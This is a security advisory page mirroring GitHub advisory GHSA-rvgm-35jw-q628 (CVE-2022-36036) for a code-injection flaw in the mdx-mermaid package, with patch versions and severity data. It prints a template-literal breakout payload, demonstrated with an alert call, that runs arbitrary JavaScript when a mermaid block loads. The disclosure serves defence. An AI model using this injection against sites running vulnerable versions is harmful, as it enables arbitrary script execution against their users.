Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1ydmdtLTM1anctcTYyOM4AAujy

Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

Permalink: https://github.com/advisories/GHSA-rvgm-35jw-q628
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydmdtLTM1anctcTYyOM4AAujy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 1 year ago
Updated: about 1 year ago

CVSS Score: 3.6
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Identifiers: GHSA-rvgm-35jw-q628, CVE-2022-36036
References:

• https://github.com/sjwall/mdx-mermaid/security/advisories/GHSA-rvgm-35jw-q628
• https://nvd.nist.gov/vuln/detail/CVE-2022-36036
• https://github.com/sjwall/mdx-mermaid/commit/f2b99386660fd13316823529c3f1314ebbcdfd2a
• https://github.com/advisories/GHSA-rvgm-35jw-q628

Repository: https://github.com/sjwall/mdx-mermaid
Blast Radius: 9.7

Affected Packages